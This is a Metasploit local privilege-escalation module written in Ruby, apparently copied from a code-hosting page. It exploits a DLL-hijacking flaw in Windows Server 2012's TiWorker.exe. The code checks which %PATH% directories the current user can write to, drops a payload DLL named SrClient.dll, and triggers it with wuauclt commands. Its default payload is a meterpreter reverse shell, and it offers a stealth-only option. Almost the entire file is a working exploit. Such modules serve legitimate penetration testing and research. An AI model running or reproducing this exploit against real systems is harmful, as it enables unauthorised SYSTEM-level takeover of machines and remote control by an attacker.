373 lines
14 KiB
Ruby
373 lines
14 KiB
Ruby
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::EXE
|
|
include Msf::Exploit::FileDropper
|
|
include Msf::Post::Common
|
|
include Msf::Post::File
|
|
include Msf::Post::Windows::Priv
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Windows Server 2012 SrClient DLL hijacking',
|
|
'Description' => %q{
|
|
All editions of Windows Server 2012 (but not 2012 R2) are vulnerable to DLL
|
|
hijacking due to the way TiWorker.exe will try to call the non-existent
|
|
`SrClient.dll` file when Windows Update checks for updates. This issue can be
|
|
leveraged for privilege escalation if %PATH% includes directories that are
|
|
writable by low-privileged users. The attack can be triggered by any
|
|
low-privileged user and does not require a system reboot.
|
|
|
|
This module has been successfully tested on Windows Server 2012 (x64).
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Erik Wynter' # @wyntererik - Discovery & Metasploit
|
|
],
|
|
'Platform' => 'win',
|
|
'SessionTypes' => [ 'meterpreter' ],
|
|
'DefaultOptions' => {
|
|
'Wfsdelay' => 60,
|
|
'EXITFUNC' => 'thread'
|
|
},
|
|
'Targets' => [
|
|
[
|
|
'Windows Server 2012 (x64)', {
|
|
'Arch' => [ARCH_X64],
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
|
|
}
|
|
}
|
|
]
|
|
],
|
|
'References' => [
|
|
[ 'URL', 'https://blog.vonahi.io/srclient-dll-hijacking' ],
|
|
],
|
|
'DisclosureDate' => '2021-02-19',
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'Stability' => [ CRASH_SERVICE_DOWN ],
|
|
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, SCREEN_EFFECTS ],
|
|
'Reliability' => [ UNRELIABLE_SESSION ]
|
|
},
|
|
'Compat' => {
|
|
'Meterpreter' => {
|
|
'Commands' => %w[
|
|
stdapi_sys_config_getuid
|
|
stdapi_sys_process_get_processes
|
|
]
|
|
}
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options([
|
|
OptString.new('WRITABLE_PATH_DIR', [false, 'Path to a writable %PATH% directory to write the payload to.', '']),
|
|
OptBool.new('STEALTH_ONLY', [false, 'Only exploit if the payload can be triggered without launching the Windows Update UI) ', false]),
|
|
OptInt.new('WAIT_FOR_TIWORKER', [false, 'No. of minutes to wait for TiWorker.exe to finish running if it is already active. ', 0])
|
|
])
|
|
end
|
|
|
|
def provided_path_dir
|
|
datastore['WRITABLE_PATH_DIR']
|
|
end
|
|
|
|
def stealth_only
|
|
datastore['STEALTH_ONLY']
|
|
end
|
|
|
|
def wait_for_tiworker
|
|
datastore['WAIT_FOR_TIWORKER']
|
|
end
|
|
|
|
def force_exploit_message
|
|
" If #{provided_path_dir} should be writable and part of %PATH%, enter `set ForceExploit true` and rerun the module."
|
|
end
|
|
|
|
def grab_user_groups(current_user)
|
|
print_status("Obtaining group information for the current user #{current_user}...")
|
|
|
|
# add current user to the groups we are a member of in case user-specific permissions are set for any of the %PATH% directories
|
|
user_groups = [current_user]
|
|
|
|
whoami_groups = get_whoami
|
|
|
|
unless whoami_groups.blank?
|
|
print_status('')
|
|
whoami_groups.split("\r\n").each do |line|
|
|
exclude_strings = ['----', '====', 'GROUP INFORMATION', 'Group Name', 'Mandatory Label']
|
|
line = line.strip
|
|
next if line.empty?
|
|
next if exclude_strings.any? { |ex_str| line.include?(ex_str) }
|
|
|
|
group = line.split(' ')[0]
|
|
user_groups << group
|
|
print_status("\t#{group}")
|
|
end
|
|
|
|
print_status('')
|
|
end
|
|
user_groups
|
|
end
|
|
|
|
def find_pdir_owner(pdir, current_user)
|
|
# we need double backslashes in the path for wmic, using block gsub because regular gsub doesn't seem to work
|
|
pdir_escaped = pdir.gsub(/\\/) { '\\\\' }
|
|
pdir_owner_info = cmd_exec("wmic path Win32_LogicalFileSecuritySetting where Path=\"#{pdir_escaped}\" ASSOC /RESULTROLE:Owner /ASSOCCLASS:Win32_LogicalFileOwner /RESULTCLASS:Win32_SID")
|
|
if pdir_owner_info.blank? || pdir_owner_info.split('{')[0].blank?
|
|
return false
|
|
end
|
|
|
|
pdir_owner_suffix = pdir_owner_info.split('{')[0]
|
|
pdir_owner_prefix = pdir_owner_info.scan(/\}\s+(.*?)S-\d-\d+-(\d+-){1,14}\d/).flatten.first
|
|
|
|
if pdir_owner_prefix.blank? || pdir_owner_suffix.blank?
|
|
return false
|
|
end
|
|
|
|
pdir_owner_name = "#{pdir_owner_prefix.strip}\\#{pdir_owner_suffix.strip}"
|
|
if pdir_owner_name.downcase == current_user.downcase
|
|
return true
|
|
else
|
|
return false
|
|
end
|
|
end
|
|
|
|
def enumerate_writable_path_dirs(path_dirs, user_groups, current_user)
|
|
writable_path_dirs = []
|
|
perms_we_need = ['(F)', '(M)']
|
|
print_status('')
|
|
|
|
path_dirs.split(';').each do |pdir|
|
|
next if pdir.blank? || pdir.strip.blank?
|
|
|
|
# directories can't and with a backslash, otherwise some commands will throw an error
|
|
pdir = pdir.strip.delete_suffix('\\')
|
|
|
|
# if the user has provided a target dir, only look at that one
|
|
if !provided_path_dir.blank? && pdir.downcase != provided_path_dir.downcase
|
|
next
|
|
end
|
|
|
|
print_status("\tChecking permissions for #{pdir}")
|
|
|
|
# check if the current user owns pdir
|
|
user_owns_pdir = find_pdir_owner(pdir, current_user)
|
|
|
|
# use icalcs to get the directory permissions
|
|
permissions = cmd_exec("icacls \"#{pdir}\"")
|
|
next if permissions.blank?
|
|
next if permissions.split(pdir.to_s)[1] && permissions.split(pdir.to_s)[1].length < 2
|
|
|
|
# the output should always start with the provided directory, so we need to remove that
|
|
groups_perms = permissions.split(pdir.to_s)[1].strip
|
|
next if groups_perms.empty?
|
|
|
|
# iterate over the listed permissions for different groups
|
|
groups_perms.split("\n").each do |gp|
|
|
gp = gp.strip
|
|
|
|
# the format should be <group>:<perms>, so gp must always include `:`
|
|
next unless gp.include?(':')
|
|
|
|
# grab the group name and permissions
|
|
group, perms = gp.split(':')
|
|
next if group.blank? || perms.blank?
|
|
|
|
group = group.strip
|
|
perms = perms.strip
|
|
|
|
# if the current user owns the directory, check for the directory permissions as well
|
|
if user_owns_pdir && group == 'CREATOR OWNER' && perms_we_need.any? { |prm| perms.downcase.include? prm.downcase }
|
|
writable_path_dirs << pdir unless writable_path_dirs.include?(pdir)
|
|
next
|
|
end
|
|
|
|
# ignore groups that don't match the groups for the current user, or the required permissions
|
|
next unless user_groups.any? { |ug| group.downcase == ug.downcase }
|
|
next unless perms_we_need.any? { |prm| perms.downcase.include? prm.downcase }
|
|
|
|
# if we are here, we found a %PATH% directory we can write to!!!
|
|
writable_path_dirs << pdir unless writable_path_dirs.include?(pdir)
|
|
end
|
|
end
|
|
|
|
print_status('')
|
|
|
|
writable_path_dirs
|
|
end
|
|
|
|
def exploitation_message(trigger_cmd)
|
|
if trigger_cmd == 'wuauclt /detectnow'
|
|
print_status("Trying to trigger the payload in the background via the shell command `#{trigger_cmd}`")
|
|
else
|
|
print_status("Trying to trigger the payload via the shell command `#{trigger_cmd}`")
|
|
end
|
|
end
|
|
|
|
def monitor_tiworker
|
|
print_warning("TiWorker.exe is already running on the target. The module will monitor the process every 10 seconds for up to #{wait_for_tiworker} minute(s)...")
|
|
wait_time_left = wait_for_tiworker
|
|
sleep_time = 0
|
|
while wait_time_left > 0
|
|
sleep 10
|
|
|
|
host_processes = client.sys.process.get_processes
|
|
if host_processes.none? { |ps| ps['name'] == 'TiWorker.exe' }
|
|
print_status('TiWorker.exe is no longer running on the target. Proceding with exploitation.')
|
|
break
|
|
end
|
|
|
|
sleep_time += 10
|
|
next unless sleep_time == 60
|
|
|
|
wait_time_left -= 1
|
|
sleep_time = 0
|
|
print_status("TiWorker.exe is still running on the target. The module will keep checking for #{wait_time_left} minute(s)...")
|
|
end
|
|
end
|
|
|
|
def check
|
|
version = get_version_info
|
|
unless version.build_number == Msf::WindowsVersion::Server2012 && version.windows_server?
|
|
return Exploit::CheckCode::Safe('Target is not Windows Server 2012.')
|
|
end
|
|
|
|
print_status("Target is #{version.product_name}")
|
|
|
|
# obtain the Windows Update setting to see if exploitation could work at all
|
|
@wupdate_setting = registry_getvaldata('HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WindowsUpdate\\Auto Update', 'AUOptions')
|
|
|
|
if @wupdate_setting.nil?
|
|
# if this is true, Windows Update has probably never been configured on the target, and the attack most likely won't work.
|
|
return Exploit::CheckCode::Safe('Target is Windows Server 2012, but cannot be exploited because Windows Update has not been configured.')
|
|
end
|
|
|
|
unless (1..4).include?(@wupdate_setting)
|
|
return Exploit::CheckCode::Unknown('Received unexpected reply when trying to obtain the Windows Update setting.')
|
|
end
|
|
|
|
# get groups for the current user, this is necessary to verify write permissions
|
|
current_user = session.sys.config.getuid
|
|
user_groups = grab_user_groups(current_user)
|
|
|
|
# get %PATH% dirs and check if the current user can write to them
|
|
print_status('Checking for writable directories in %PATH%...')
|
|
# we can't use get_envs('PATH') here because that returns all PATH directories, but we only need those in the SYSTEM PATH
|
|
path_dirs = registry_getvaldata('HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment', 'path')
|
|
|
|
if path_dirs.blank?
|
|
get_path_fail_message = 'Failed to obtain %PATH% directories.'
|
|
unless provided_path_dir.blank?
|
|
get_path_fail_message << force_exploit_message
|
|
end
|
|
return Exploit::CheckCode::Unknown(get_path_fail_message)
|
|
end
|
|
|
|
@writable_path_dirs = enumerate_writable_path_dirs(path_dirs, user_groups, current_user)
|
|
|
|
writable_path_dirs_fail_message = "#{current_user} does not seem to have write permissions to any of the %PATH% directories"
|
|
|
|
if @writable_path_dirs.empty?
|
|
unless provided_path_dir.blank?
|
|
writable_path_dirs_fail_message << force_exploit_message
|
|
end
|
|
return Exploit::CheckCode::Safe(writable_path_dirs_fail_message)
|
|
end
|
|
|
|
if provided_path_dir.blank?
|
|
print_good("#{current_user} has write permissions to the following %PATH% directories:")
|
|
print_status('')
|
|
@writable_path_dirs.each { |wpd| print_status("\t#{wpd}") }
|
|
print_status('')
|
|
else
|
|
print_good("#{current_user} has write permissions to #{provided_path_dir}")
|
|
end
|
|
|
|
return Exploit::CheckCode::Appears
|
|
end
|
|
|
|
def exploit
|
|
if is_system?
|
|
fail_with(Failure::None, 'Session is already elevated')
|
|
end
|
|
|
|
payload_arch = payload.arch.first
|
|
if (payload_arch != ARCH_X64)
|
|
fail_with(Failure::BadConfig, "Unsupported payload architecture (#{payload_arch}). Only 64-bit (x64) payloads are supported.") # Unsupported architecture, so return an error.
|
|
end
|
|
|
|
# check if TiWorker.exe is already running, in which case exploitation will fail
|
|
host_processes = client.sys.process.get_processes
|
|
if host_processes.any? { |ps| ps['name'] == 'TiWorker.exe' }
|
|
unless wait_for_tiworker > 0
|
|
fail_with(Failure::Unknown, 'TiWorker.exe is already running on the target. Set `WAIT_FOR_TIWORKER` to force the module to wait for the process to finish.')
|
|
end
|
|
|
|
monitor_tiworker
|
|
end
|
|
|
|
# There are three commands we can run to get the target to start checking for Windows updates, which should launch TiWorker.exe and trigger the payload as SYSTEM
|
|
## 'wuauclt /detectnow': This triggers the payload in the background, but won't work when Windows Update is set to never check for updates.
|
|
## 'wuauclt /selfupdatemanaged': This triggers the payload by launching the Windows Update UI, which then scans for updates using the WSUS settings. This is not stealthy, but works with all Windows Update settings.
|
|
## 'wuauclt /selfupdateunmanaged': This triggers the payload by launching the Windows Update UI, which then scans for updates using the Windows Update site. This is not stealthy, but works with all Windows Update settings.
|
|
## the module prefers /selfupdatemanaged over /selfupdateunmanaged when /detectnow is not possible because /selfupdateunmanaged may require the target to be able to reach the Windows Update server
|
|
|
|
case @wupdate_setting
|
|
when 1
|
|
print_warning('Because Windows Update is set to never check for updates, triggering the payload requires launching the Windows Update window on the target.')
|
|
if stealth_only
|
|
fail_with(Failure::Unknown, 'Exploitation cannot proceed stealthily. If you still want to exploit, set `STEALTH_ONLY` to false.')
|
|
return
|
|
end
|
|
trigger_cmd = 'wuauclt /selfupdatemanaged'
|
|
when 2..4
|
|
# trigger the payload in the background if we can
|
|
trigger_cmd = 'wuauclt /detectnow'
|
|
else
|
|
# if this is true, ForceExploit has been set and we should just roll with it
|
|
print_warning('Windows Update is not configured or returned an unexpected value. Exploitation may not work.')
|
|
if stealth_only
|
|
trigger_cmd = 'wuauclt /detectnow'
|
|
else
|
|
# go out guns blazing and hope for the best
|
|
print_status('The module will launch the Windows Update window on the target in an attempt to trigger the payload.')
|
|
trigger_cmd = 'wuauclt /selfupdatemanaged'
|
|
end
|
|
end
|
|
|
|
# select a target directory to write the payload to
|
|
if @writable_path_dirs.empty? # this means ForceExploit is being used
|
|
if provided_path_dir.blank?
|
|
fail_with(Failure::BadConfig, 'Using ForceExploit requires `WRITABLE_PATH_DIR` to be set.')
|
|
end
|
|
|
|
dll_path = provided_path_dir
|
|
else
|
|
dll_path = @writable_path_dirs[0]
|
|
end
|
|
|
|
# generate and write payload
|
|
dll_path << '\\' unless dll_path.end_with?('\\')
|
|
@dll_file_path = "#{dll_path}SrClient.dll"
|
|
dll = generate_payload_dll
|
|
|
|
print_status("Writing #{dll.length} bytes to #{@dll_file_path}...")
|
|
begin
|
|
# write_file(@dll_file_path, dll)
|
|
write_file(@dll_file_path, dll)
|
|
register_file_for_cleanup(@dll_file_path)
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
|
# Can't write the file, can't go on
|
|
fail_with(Failure::Unknown, e.message)
|
|
end
|
|
|
|
# trigger the payload
|
|
exploitation_message(trigger_cmd)
|
|
cmd_exec(trigger_cmd)
|
|
end
|
|
end
|